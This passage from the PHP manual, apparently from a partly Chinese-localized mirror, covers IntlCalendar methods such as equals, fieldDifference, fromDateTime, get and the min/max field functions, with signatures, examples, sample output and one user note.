
No arguments
string(21) "IntlGregorianCalendar"
string(68) "martes 18 de junio de 2013 14:11:02 Hora de verano de Europa Central"

Explicit timezone
string(21) "IntlGregorianCalendar"
string(45) "martes 18 de junio de 2013 12:11:02 GMT+00:00"

Explicit locale (with calendar)
string(12) "IntlCalendar"
string(70) "martes 28 de Khordad de 1392 14:11:02 Hora de verano de Europa Central"

参见

  • IntlGregorianCalendar::__construct() - Create the Gregorian Calendar class

User Contributed Notes

There are no user contributed notes for this page.


Compare time of two IntlCalendar objects for equality

  • ? IntlCalendar::createInstance
  • IntlCalendar::fieldDifference ?
  • PHP Manual
  • IntlCalendar
  • Compare time of two IntlCalendar objects for equality

IntlCalendar::equals

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::equals — Compare time of two IntlCalendar objects for equality

说明

面向对象风格

public IntlCalendar::equals(IntlCalendar $other): bool

过程化风格

intlcal_equals(IntlCalendar $calendar, IntlCalendar $other): bool

Returns true if this calendar and the given calendar have the same time. The settings, calendar types and field states do not have to be the same.

参数

calendar

IntlCalendar 实例。

other

The calendar to compare with the primary object.

返回值

Returns true if the current time of both this and the passed in IntlCalendar object are the same, or false otherwise.

On failure false is also returned. To detect error conditions use intl_get_error_code(), or set up Intl to throw exceptions.

示例

Example #1 IntlCalendar::equals()

<?php
ini_set('date.timezone', 'UTC');

$cal1 = IntlCalendar::createInstance(NULL, 'es_ES');
$cal2 = clone $cal1;

var_dump($cal1->equals($cal2)); //TRUE

//The locale is not included in the comparison
$cal2 = IntlCalendar::createInstance(NULL, 'pt_PT');
$cal2->setTime($cal1->getTime());
var_dump($cal1->equals($cal2)); //TRUE

//And set fields state is not included as well
$cal2->clear(IntlCalendar::FIELD_YEAR);
var_dump($cal1->isSet(IntlCalendar::FIELD_YEAR) ==
$cal2->isSet(IntlCalendar::FIELD_YEAR)); //FALSE
var_dump($cal1->equals($cal2)); //TRUE

//Neither is the calendar type
$cal2 = IntlCalendar::createInstance(NULL, 'es_ES@calendar=islamic');
$cal2->setTime($cal1->getTime());
var_dump($cal1->equals($cal2)); //TRUE

//Only the time is
$cal2 = clone $cal1;
$cal2->setTime($cal1->getTime() + 1.);
var_dump($cal1->equals($cal2)); //FALSE

User Contributed Notes

There are no user contributed notes for this page.


Calculate difference between given time and this object?s time

  • ? IntlCalendar::equals
  • IntlCalendar::fromDateTime ?
  • PHP Manual
  • IntlCalendar
  • Calculate difference between given time and this object?s time

IntlCalendar::fieldDifference

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::fieldDifference — Calculate difference between given time and this object?s time

说明

面向对象风格

public IntlCalendar::fieldDifference(float $timestamp, int $field): int|false

过程化风格

intlcal_field_difference(IntlCalendar $calendar, float $timestamp, int $field): int|false

Return the difference between the given time and the time this object is set to, with respect to the quantity specified the field parameter.

This method is meant to be called successively, first with the most significant field of interest down to the least significant field. To this end, as a side effect, this calendar?s value for the field specified is advanced by the amount returned.

参数

calendar

IntlCalendar 实例。

timestamp

The time against which to compare the quantity represented by the field. For the result to be positive, the time given for this parameter must be ahead of the time of the object the method is being invoked on.

field

The field that represents the quantity being compared.

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

Returns a (signed) difference of time in the unit associated with the specified field 或者在失败时返回 false.

示例

Example #1 IntlCalendar::fieldDifference()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'fr_FR');

$cal1 = IntlCalendar::fromDateTime('2012-02-29 09:00:11');
$cal2 = IntlCalendar::fromDateTime('2013-03-01 09:19:29');
$time = $cal2->getTime();

echo "Time before: ", IntlDateFormatter::formatObject($cal1), "\n";

printf(
"The difference in time is %d year(s), %d month(s), "
. "%d day(s), %d hour(s) and %d minute(s)\n",
$cal1->fieldDifference($time, IntlCalendar::FIELD_YEAR),
$cal1->fieldDifference($time, IntlCalendar::FIELD_MONTH),
$cal1->fieldDifference($time, IntlCalendar::FIELD_DAY_OF_MONTH),
$cal1->fieldDifference($time, IntlCalendar::FIELD_HOUR_OF_DAY),
$cal1->fieldDifference($time, IntlCalendar::FIELD_MINUTE)
);

//now it was advanced to the target time, exception for the seconds,
//for which we did not measure the difference
echo "Time after: ", IntlDateFormatter::formatObject($cal1), "\n";

以上示例会输出：

Time before: 29 févr. 2012 09:00:11
The difference in time is 1 year(s), 0 month(s), 1 day(s), 0 hour(s) and 19 minute(s)
Time after: 1 mars 2013 09:19:11

User Contributed Notes

There are no user contributed notes for this page.


Create an IntlCalendar from a DateTime object or string

  • ? IntlCalendar::fieldDifference
  • IntlCalendar::get ?
  • PHP Manual
  • IntlCalendar
  • Create an IntlCalendar from a DateTime object or string

IntlCalendar::fromDateTime

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a2)

IntlCalendar::fromDateTime — Create an IntlCalendar from a DateTime object or string

说明

面向对象风格

public static IntlCalendar::fromDateTime(DateTime|string $datetime, ?string $locale = null): ?IntlCalendar

过程化风格

intlcal_from_date_time(DateTime|string $datetime, ?string $locale = null): ?IntlCalendar

Creates an IntlCalendar object either from a DateTime object or from a string from which a DateTime object can be built.

The new calendar will represent not only the same instant as the given DateTime (subject to precision loss for dates very far into the past or future), but also the same timezone (subject to the caveat that different timezone databases will be used, and therefore the results may differ).

参数

datetime

A DateTime object or a string that can be passed to DateTime::__construct().

返回值

The created IntlCalendar object or null in case of failure. If a string is passed, any exception that occurs inside the DateTime constructor is propagated.

示例

Example #1 IntlCalendar::fromDateTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

//same as IntlCalendar::fromDateTime(new DateTime(...))
$cal1 = IntlCalendar::fromDateTime('2013-02-28 00:01:02 Europe/Berlin');

//Note the timezone is Europe/Berlin, not the default Europe/Lisbon
echo IntlDateFormatter::formatObject($cal1, 'yyyy MMMM d HH:mm:ss VVVV', 'de_DE'), "\n";

以上示例会输出：

2013 Februar 28 00:01:02 Deutschland Zeit

User Contributed Notes

SenseException 23-Feb-2014 02:06
Don't forget that fromDateTime() doesn't set any locale and that the default one will be set. In my case it was en_US_POSIX.

If you wan't to create a IntlCalendar object containing the values of a DateTime object with your locale, use createInstance() instead and do a

<?php
$intlCalendar->setTime($dateTime->getTimestamp() * 1000);
?>

IntlCalendar works with milliseconds so you need to multiply the timestamp with 1000.

Using fromDateTime() can cause unwanted behaviour like getFirstDayOfWeek() returning a wrong integer.


Get the value for a field

  • ? IntlCalendar::fromDateTime
  • IntlCalendar::getActualMaximum ?
  • PHP Manual
  • IntlCalendar
  • Get the value for a field

IntlCalendar::get

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::get — Get the value for a field

说明

面向对象风格

public IntlCalendar::get(int $field): int|false

过程化风格

intlcal_get(IntlCalendar $calendar, int $field): int|false

Gets the value for a specific field.

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

An integer with the value of the time field.

示例

Example #1 IntlCalendar::get()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$class = new ReflectionClass('IntlCalendar');
$fields = array();
foreach ($class->getConstants() as $name => $val) {
if (strpos($name, 'FIELD_') !== 0 || $val > 22)
continue;
$fields[$val] = $name;
}

$cal = IntlCalendar::createInstance(); // current time
var_dump(IntlDateFormatter::formatObject($cal));
foreach ($fields as $val => $name) {
echo "$val ($name)", "\n ", $cal->get($val), "\n";
}

以上示例会输出：

string(23) "Jul 1, 2013, 4:44:44 AM"
0 (FIELD_ERA)
    1
1 (FIELD_YEAR)
    2013
2 (FIELD_MONTH)
    6
3 (FIELD_WEEK_OF_YEAR)
    27
4 (FIELD_WEEK_OF_MONTH)
    1
5 (FIELD_DAY_OF_MONTH)
    1
6 (FIELD_DAY_OF_YEAR)
    182
7 (FIELD_DAY_OF_WEEK)
    2
8 (FIELD_DAY_OF_WEEK_IN_MONTH)
    1
9 (FIELD_AM_PM)
    0
10 (FIELD_HOUR)
    4
11 (FIELD_HOUR_OF_DAY)
    4
12 (FIELD_MINUTE)
    44
13 (FIELD_SECOND)
    44
14 (FIELD_MILLISECOND)
    551
15 (FIELD_ZONE_OFFSET)
    0
16 (FIELD_DST_OFFSET)
    3600000
17 (FIELD_YEAR_WOY)
    2013
18 (FIELD_DOW_LOCAL)
    2
19 (FIELD_EXTENDED_YEAR)
    2013
20 (FIELD_JULIAN_DAY)
    2456475
21 (FIELD_MILLISECONDS_IN_DAY)
    17084551
22 (FIELD_IS_LEAP_MONTH)
    0

User Contributed Notes

There are no user contributed notes for this page.


The maximum value for a field, considering the object?s current time

  • ? IntlCalendar::get
  • IntlCalendar::getActualMinimum ?
  • PHP Manual
  • IntlCalendar
  • The maximum value for a field, considering the object?s current time

IntlCalendar::getActualMaximum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getActualMaximum — The maximum value for a field, considering the object?s current time

说明

面向对象风格

public IntlCalendar::getActualMaximum(int $field): int|false

过程化风格

intlcal_get_actual_maximum(IntlCalendar $calendar, int $field): int|false

Returns a field?s relative maximum value around the current time. The exact semantics vary by field, but in the general case this is the value that would be obtained if one would set the field value into the smallest relative maximum for the field and would increment it until reaching the global maximum or the field value wraps around, in which the value returned would be the global maximum or the value before the wrapping, respectively.

For instance, in the gregorian calendar, the actual maximum value for the day of month would vary between 28 and 31, depending on the month and year of the current time.

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

An int representing the maximum value in the units associated with the given field 或者在失败时返回 false.

示例

Example #1 IntlCalendar::getActualMaximum()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

$cal = IntlCalendar::fromDateTime('2013-02-15');
var_dump($cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)); //28

$cal->add(IntlCalendar::FIELD_EXTENDED_YEAR, -1);
var_dump($cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH)); //29

以上示例会输出：

int(28)
int(29)

参见

  • IntlCalendar::getMaximum() - Get the global maximum value for a field
  • IntlCalendar::getLeastMaximum() - Get the smallest local maximum for a field
  • IntlCalendar::getActualMinimum() - The minimum value for a field, considering the object?s current time

User Contributed Notes

There are no user contributed notes for this page.


The minimum value for a field, considering the object?s current time

  • ? IntlCalendar::getActualMaximum
  • IntlCalendar::getAvailableLocales ?
  • PHP Manual
  • IntlCalendar
  • The minimum value for a field, considering the object?s current time

IntlCalendar::getActualMinimum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getActualMinimum — The minimum value for a field, considering the object?s current time

说明

面向对象风格

public IntlCalendar::getActualMinimum(int $field): int|false

过程化风格

intlcal_get_actual_minimum(IntlCalendar $calendar, int $field): int|false

Returns a field?s relative minimum value around the current time. The exact semantics vary by field, but in the general case this is the value that would be obtained if one would set the field value into the greatest relative minimum for the field and would decrement it until reaching the global minimum or the field value wraps around, in which the value returned would be the global minimum or the value before the wrapping, respectively.

For the Gregorian calendar, this is always the same as IntlCalendar::getMinimum().

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

An int representing the minimum value in the field?s unit 或者在失败时返回 false.

参见

  • IntlCalendar::getMinimum() - Get the global minimum value for a field
  • IntlCalendar::getGreatestMinimum() - Get the largest local minimum value for a field
  • IntlCalendar::getActualMaximum() - The maximum value for a field, considering the object?s current time

User Contributed Notes

There are no user contributed notes for this page.


Get array of locales for which there is data

  • ? IntlCalendar::getActualMinimum
  • IntlCalendar::getDayOfWeekType ?
  • PHP Manual
  • IntlCalendar
  • Get array of locales for which there is data

IntlCalendar::getAvailableLocales

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getAvailableLocales — Get array of locales for which there is data

说明

面向对象风格

public static IntlCalendar::getAvailableLocales(): array

过程化风格

intlcal_get_available_locales(): array

Gives the list of locales for which calendars are installed. As of ICU 51, this is the list of all installed ICU locales.

参数

此函数没有参数。

返回值

An array of strings, one for which locale.

示例

Example #1 IntlCalendar::getAvailableLocales()

<?php
print_r(IntlCalendar::getAvailableLocales());

以上示例会输出：

Array
(
    [0] => af
    [1] => af_NA
    [2] => af_ZA
    [3] => agq
    [4] => agq_CM
    [5] => ak
    [6] => ak_GH
    [7] => am
    [8] => am_ET
    [9] => ar
    [10] => ar_001
    [11] => ar_AE
    [12] => ar_BH
    [13] => ar_DJ
    ... output abbreviated ...
    [595] => zh_Hant_HK
    [596] => zh_Hant_MO
    [597] => zh_Hant_TW
    [598] => zu
    [599] => zu_ZA
)

User Contributed Notes

There are no user contributed notes for this page.


Tell whether a day is a weekday, weekend or a day that has a transition between the two

  • ? IntlCalendar::getAvailableLocales
  • IntlCalendar::getErrorCode ?
  • PHP Manual
  • IntlCalendar
  • Tell whether a day is a weekday, weekend or a day that has a transition between the two

IntlCalendar::getDayOfWeekType

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getDayOfWeekType — Tell whether a day is a weekday, weekend or a day that has a transition between the two

说明

面向对象风格

public IntlCalendar::getDayOfWeekType(int $dayOfWeek): int|false

过程化风格

intlcal_get_day_of_week_type(IntlCalendar $calendar, int $dayOfWeek): int|false

Returns whether the passed day is a weekday (IntlCalendar::DOW_TYPE_WEEKDAY), a weekend day (IntlCalendar::DOW_TYPE_WEEKEND), a day during which a transition occurs into the weekend (IntlCalendar::DOW_TYPE_WEEKEND_OFFSET) or a day during which the weekend ceases (IntlCalendar::DOW_TYPE_WEEKEND_CEASE).

If the return is either
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET or
IntlCalendar::DOW_TYPE_WEEKEND_CEASE, then
IntlCalendar::getWeekendTransition() can be called to
obtain the time of the transition.

This function requires ICU 4.4 or later.

参数

calendar

IntlCalendar 实例。

dayOfWeek

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY.

返回值

Returns one of the constants
IntlCalendar::DOW_TYPE_WEEKDAY,
IntlCalendar::DOW_TYPE_WEEKEND,
IntlCalendar::DOW_TYPE_WEEKEND_OFFSET or
IntlCalendar::DOW_TYPE_WEEKEND_CEASE 或者在失败时返回 false.

示例

Example #1 IntlCalendar::getDayOfWeekType()

<?php
foreach (array('en_US', 'ar_SA') as $locale) {
echo "Locale: ", Locale::getDisplayName($locale, "en_US"), "\n";

$cal = IntlCalendar::createInstance('UTC', $locale);

for ($i = IntlCalendar::DOW_SUNDAY; $i <= IntlCalendar::DOW_SATURDAY; $i++) {
$type = $cal->getDayOfWeekType($i);
$transition = ($type !== IntlCalendar::DOW_TYPE_WEEKDAY)
? $cal->getWeekendTransition($i)
: '';
echo $i, " ", $type, " ", $transition, "\n";
}
echo "\n";
}
?>

以上示例会输出：

Locale: English (United States)
1 1 86400000
2 0
3 0
4 0
5 0
6 0
7 1 0

Locale: Arabic (Saudi Arabia)
1 0
2 0
3 0
4 0
5 0
6 1 0
7 1 86400000

User Contributed Notes

There are no user contributed notes for this page.


Get last error code on the object

  • ? IntlCalendar::getDayOfWeekType
  • IntlCalendar::getErrorMessage ?
  • PHP Manual
  • IntlCalendar
  • Get last error code on the object

IntlCalendar::getErrorCode

intlcal_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getErrorCode -- intlcal_get_error_code — Get last error code on the object

说明

面向对象风格 (method):

public IntlCalendar::getErrorCode(): int|false

过程化风格:

intlcal_get_error_code(IntlCalendar $calendar): int|false

Returns the numeric ICU error code for the last call on this object (including cloning) or the IntlCalendar given for the calendar parameter (in the procedural?style version). This may indicate only a warning (negative error code) or no error at all (U_ZERO_ERROR). The actual presence of an error can be tested with intl_is_failure().

Invalid arguments detected on the PHP side (before invoking functions of the ICU library) are not recorded for the purposes of this function.

The last error that occurred in any call to a function of the intl extension, including early argument errors, can be obtained with intl_get_error_code(). This function resets the global error code, but not the object?s error code.

参数

calendar

The calendar object, on the procedural style interface.

返回值

An ICU error code indicating either success, failure or a warning. Returns false on failure.

示例

Example #1 IntlCalendar::getErrorCode() and IntlCalendar::getErrorMessage()

<?php
ini_set("intl.error_level", E_WARNING);
ini_set("intl.default_locale", "nl");

$intlcal = new IntlGregorianCalendar(2012, 1, 29);
var_dump(
$intlcal->getErrorCode(),
$intlcal->getErrorMessage()
);
$intlcal->fieldDifference(-1e100, IntlCalendar::FIELD_SECOND);

var_dump(
$intlcal->getErrorCode(),
$intlcal->getErrorMessage()
);

以上示例会输出：

int(0)
string(12) "U_ZERO_ERROR"

Warning: IntlCalendar::fieldDifference(): intlcal_field_difference: Call to ICU method has failed in /home/glopes/php/ws/example.php on line 10
int(1)
string(81) "intlcal_field_difference: Call to ICU method has failed: U_ILLEGAL_ARGUMENT_ERROR"

参见

  • IntlCalendar::getErrorMessage() - Get last error message on the object
  • intl_is_failure() - Check whether the given error code indicates failure
  • intl_error_name() - Get symbolic name for a given error code
  • intl_get_error_code() - Get the last error code
  • intl_get_error_message() - Get description of the last error

User Contributed Notes

There are no user contributed notes for this page.


Get last error message on the object

  • ? IntlCalendar::getErrorCode
  • IntlCalendar::getFirstDayOfWeek ?
  • PHP Manual
  • IntlCalendar
  • Get last error message on the object

IntlCalendar::getErrorMessage

intlcal_get_error_message

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getErrorMessage -- intlcal_get_error_message — Get last error message on the object

说明

面向对象风格 (method):

public IntlCalendar::getErrorMessage(): string|false

过程化风格:

intlcal_get_error_message(IntlCalendar $calendar): string|false

Returns the error message (if any) associated with the error reported by IntlCalendar::getErrorCode() or intlcal_get_error_code(). If there is no associated error message, only the string representation of the name of the error constant will be returned. Otherwise, the message also includes a message set on the side of the PHP binding.

参数

calendar

The calendar object, on the procedural style interface.

返回值

The error message associated with last error that occurred in a function call on this object, or a string indicating the non-existence of an error. Returns false on failure.

示例

Example #1 IntlCalendar::getErrorMessage()

<?php
$cal = IntlCalendar::createInstance('UTC', 'en_US');
var_dump($cal->getErrorMessage());

$cal->getWeekendTransition(IntlCalendar::DOW_WEDNESDAY);
var_dump($cal->getErrorMessage());

以上示例会输出：

string(12) "U_ZERO_ERROR"
string(82) "intlcal_get_weekend_transition: Error calling ICU method: U_ILLEGAL_ARGUMENT_ERROR"

User Contributed Notes

There are no user contributed notes for this page.


Get the first day of the week for the calendar?s locale

  • ? IntlCalendar::getErrorMessage
  • IntlCalendar::getGreatestMinimum ?
  • PHP Manual
  • IntlCalendar
  • Get the first day of the week for the calendar?s locale

IntlCalendar::getFirstDayOfWeek

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getFirstDayOfWeek — Get the first day of the week for the calendar?s locale

说明

面向对象风格

public IntlCalendar::getFirstDayOfWeek(): int|false

过程化风格

intlcal_get_first_day_of_week(IntlCalendar $calendar): int|false

The week day deemed to start a week, either the default value for this locale or the value set with IntlCalendar::setFirstDayOfWeek().

参数

calendar

IntlCalendar 实例。

返回值

One of the constants IntlCalendar::DOW_SUNDAY,
IntlCalendar::DOW_MONDAY, ...,
IntlCalendar::DOW_SATURDAY 或者在失败时返回 false.

示例

Example #1 IntlCalendar::getFirstDayOfWeek()

<?php
ini_set('date.timezone', 'UTC');

$cal1 = IntlCalendar::createInstance(NULL, 'es_ES');
var_dump($cal1->getFirstDayOfWeek()); // Monday
$cal1->set(2013, 1 /* February */, 3); // a Sunday
var_dump($cal1->get(IntlCalendar::FIELD_WEEK_OF_YEAR)); // 5

$cal2 = IntlCalendar::createInstance(NULL, 'en_US');
var_dump($cal2->getFirstDayOfWeek()); // Sunday
$cal2->set(2013, 1 /* February */, 3); // a Sunday
var_dump($cal2->get(IntlCalendar::FIELD_WEEK_OF_YEAR)); // 6

以上示例会输出：

int(2)
int(5)
int(1)
int(6)

参见

  • IntlCalendar::setFirstDayOfWeek() - Set the day on which the week is deemed to start

User Contributed Notes

There are no user contributed notes for this page.


Get the largest local minimum value for a field

  • ? IntlCalendar::getFirstDayOfWeek
  • IntlCalendar::getKeywordValuesForLocale ?
  • PHP Manual
  • IntlCalendar
  • Get the largest local minimum value for a field

IntlCalendar::getGreatestMinimum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getGreatestMinimum — Get the largest local minimum value for a field

说明

面向对象风格

public IntlCalendar::getGreatestMinimum(int $field): int|false

过程化风格

intlcal_get_greatest_minimum(IntlCalendar $calendar, int $field): int|false

Returns the largest local minimum for a field. This should be a value larger or equal to that returned by IntlCalendar::getActualMinimum(), which is in its turn larger or equal to that returned by IntlCalendar::getMinimum(). All these three functions return the same value for the Gregorian calendar.

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

An int representing a field value, in the field?s unit, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Get set of locale keyword values

  • ? IntlCalendar::getGreatestMinimum
  • IntlCalendar::getLeastMaximum ?
  • PHP Manual
  • IntlCalendar
  • Get set of locale keyword values

IntlCalendar::getKeywordValuesForLocale

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getKeywordValuesForLocale — Get set of locale keyword values

说明

面向对象风格

public static IntlCalendar::getKeywordValuesForLocale(string $keyword, string $locale, bool $onlyCommon): IntlIterator|false

过程化风格

intlcal_get_keyword_values_for_locale(string $keyword, string $locale, bool $onlyCommon): IntlIterator|false

For a given locale key, get the set of values for that key that would result in a different behavior. For now, only the 'calendar' keyword is supported.

This function requires ICU 4.2 or later.

参数

keyword

The locale keyword for which relevant values are to be queried. Only 'calendar' is supported.

locale

The locale onto which the keyword/value pair are to be appended.

onlyCommon

Whether to show only the values commonly used for the specified locale.

返回值

An iterator that yields strings with the locale keyword values 或者在失败时返回 false.

示例

Example #1 IntlCalendar::getKeyworkValuesForLocale()

<?php
print_r(
iterator_to_array(
IntlCalendar::getKeywordValuesForLocale(
'calendar', 'fa_IR', true)));
print_r(
iterator_to_array(
IntlCalendar::getKeywordValuesForLocale(
'calendar', 'fa_IR', false)));

以上示例会输出：

Array
(
    [0] => persian
    [1] => gregorian
    [2] => islamic
    [3] => islamic-civil
)
Array
(
    [0] => persian
    [1] => gregorian
    [2] => islamic
    [3] => islamic-civil
    [4] => japanese
    [5] => buddhist
    [6] => roc
    [7] => hebrew
    [8] => chinese
    [9] => indian
    [10] => coptic
    [11] => ethiopic
    [12] => ethiopic-amete-alem
)

User Contributed Notes

There are no user contributed notes for this page.


Get the smallest local maximum for a field

  • ? IntlCalendar::getKeywordValuesForLocale
  • IntlCalendar::getLocale ?
  • PHP Manual
  • IntlCalendar
  • Get the smallest local maximum for a field

IntlCalendar::getLeastMaximum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getLeastMaximum — Get the smallest local maximum for a field

说明

面向对象风格

public IntlCalendar::getLeastMaximum(int $field): int|false

过程化风格

intlcal_get_least_maximum(IntlCalendar $calendar, int $field): int|false

Returns the smallest local maximumw for a field. This should be a value smaller or equal to that returned by IntlCalendar::getActualMaxmimum(), which is in its turn smaller or equal to that returned by IntlCalendar::getMaximum().

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

An int representing a field value in the field?s unit 或者在失败时返回 false.

示例

Example #1 Maxima examples

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'it_IT');

$cal = new IntlGregorianCalendar(2013, 3 /* April */, 6);
var_dump(
$cal->getLeastMaximum(IntlCalendar::FIELD_DAY_OF_MONTH), // 28
$cal->getActualMaximum(IntlCalendar::FIELD_DAY_OF_MONTH), // 30
$cal->getMaximum(IntlCalendar::FIELD_DAY_OF_MONTH) // 31
);

以上示例会输出：

int(28)
int(30)
int(31)

参见

  • IntlCalendar::getActualMaximum() - The maximum value for a field, considering the object?s current time
  • IntlCalendar::getMaximum() - Get the global maximum value for a field
  • IntlCalendar::getGreatestMinimum() - Get the largest local minimum value for a field

User Contributed Notes

There are no user contributed notes for this page.


Get the locale associated with the object

  • ? IntlCalendar::getLeastMaximum
  • IntlCalendar::getMaximum ?
  • PHP Manual
  • IntlCalendar
  • Get the locale associated with the object

IntlCalendar::getLocale

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getLocale — Get the locale associated with the object

说明

面向对象风格

public IntlCalendar::getLocale(int $type): string|false

过程化风格

intlcal_get_locale(IntlCalendar $calendar, int $type): string|false

Returns the locale used by this calendar object.

参数

calendar

IntlCalendar 实例。

type

Whether to fetch the actual locale (the locale from which the calendar data originates, with Locale::ACTUAL_LOCALE) or the valid locale, i.e., the most specific locale supported by ICU relatively to the requested locale - see Locale::VALID_LOCALE. From the most general to the most specific, the locales are ordered in this fashion - actual locale, valid locale, requested locale.

返回值

A locale string 或者在失败时返回 false.

示例

Example #1 IntlCalendar::getLocale()

<?php
$cal = IntlCalendar::createInstance(IntlTimeZone::getGMT(), 'en_US_CALIFORNIA');
var_dump(
$cal->getLocale(Locale::ACTUAL_LOCALE),
$cal->getLocale(Locale::VALID_LOCALE)
);

以上示例会输出：

string(2) "en"
string(5) "en_US"

User Contributed Notes

There are no user contributed notes for this page.


Get the global maximum value for a field

  • ? IntlCalendar::getLocale
  • IntlCalendar::getMinimalDaysInFirstWeek ?
  • PHP Manual
  • IntlCalendar
  • Get the global maximum value for a field

IntlCalendar::getMaximum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getMaximum — Get the global maximum value for a field

说明

面向对象风格

public IntlCalendar::getMaximum(int $field): int|false

过程化风格

intlcal_get_maximum(IntlCalendar $calendar, int $field): int|false

Gets the global maximum for a field, in this specific calendar. This value is larger or equal to that returned by IntlCalendar::getActualMaximum(), which is in its turn larger or equal to that returned by IntlCalendar::getLeastMaximum().

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

An int representing a field value in the field?s unit 或者在失败时返回 false.

参见

  • IntlCalendar::getActualMaximum() - The maximum value for a field, considering the object?s current time
  • IntlCalendar::getLeastMaximum() - Get the smallest local maximum for a field
  • IntlCalendar::getMinimum() - Get the global minimum value for a field

User Contributed Notes

There are no user contributed notes for this page.


Get minimal number of days the first week in a year or month can have

  • ? IntlCalendar::getMaximum
  • IntlCalendar::getMinimum ?
  • PHP Manual
  • IntlCalendar
  • Get minimal number of days the first week in a year or month can have

IntlCalendar::getMinimalDaysInFirstWeek

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getMinimalDaysInFirstWeek — Get minimal number of days the first week in a year or month can have

说明

面向对象风格

public IntlCalendar::getMinimalDaysInFirstWeek(): int|false

过程化风格

intlcal_get_minimal_days_in_first_week(IntlCalendar $calendar): int|false

Returns the smallest number of days the first week of a year or month must have in the new year or month. For instance, in the Gregorian calendar, if this value is 1, then the first week of the year will necessarily include January 1st, while if this value is 7, then the week with January 1st will be the first week of the year only if the day of the week for January 1st matches the day of the week returned by IntlCalendar::getFirstDayOfWeek(); otherwise it will be the previous year?s last week.

参数

calendar

IntlCalendar 实例。

返回值

An int representing a number of days 或者在失败时返回 false.

示例

Example #1 IntlCalendar::getMinimalDaysInFirstWeek()

<?php
ini_set('date.timezone', 'UTC');
ini_set('intl.default_locale', 'en_US');

$cal = new IntlGregorianCalendar(2013, 0 /* January */, 2);
var_dump(IntlDateFormatter::formatObject($cal, 'cccc')); // Wednesday

var_dump($cal->getMinimalDaysInFirstWeek(), // 1
$cal->getFirstDayofWeek()); // 1 (Sunday)

// Week 1 of 2013
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

$cal->setMinimalDaysInFirstWeek(4);
// Still Week 1 of 2013 (1st week has 5 days in the new year)
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

$cal->setMinimalDaysInFirstWeek(6);
// Week 53 of 2012
var_dump(IntlDateFormatter::formatObject($cal, "'Week 'w' of 'Y"));

以上示例会输出：

string(9) "Wednesday"
int(1)
int(1)
string(14) "Week 1 of 2013"
string(14) "Week 1 of 2013"
string(15) "Week 53 of 2012"

User Contributed Notes

There are no user contributed notes for this page.


Get the global minimum value for a field

  • ? IntlCalendar::getMinimalDaysInFirstWeek
  • IntlCalendar::getNow ?
  • PHP Manual
  • IntlCalendar
  • Get the global minimum value for a field

IntlCalendar::getMinimum

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL >= 3.0.0a1)

IntlCalendar::getMinimum — Get the global minimum value for a field

说明

面向对象风格

public IntlCalendar::getMinimum(int $field): int|false

过程化风格

intlcal_get_minimum(IntlCalendar $calendar, int $field): int|false

Gets the global minimum for a field, in this specific calendar. This value is smaller or equal to that returned by IntlCalendar::getActualMinimum(), which is in its turn smaller or equal to that returned by IntlCalendar::getGreatestMinimum(). For the Gregorian calendar, these three functions always return the same value (for each field).

参数

calendar

IntlCalendar 实例。

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

返回值

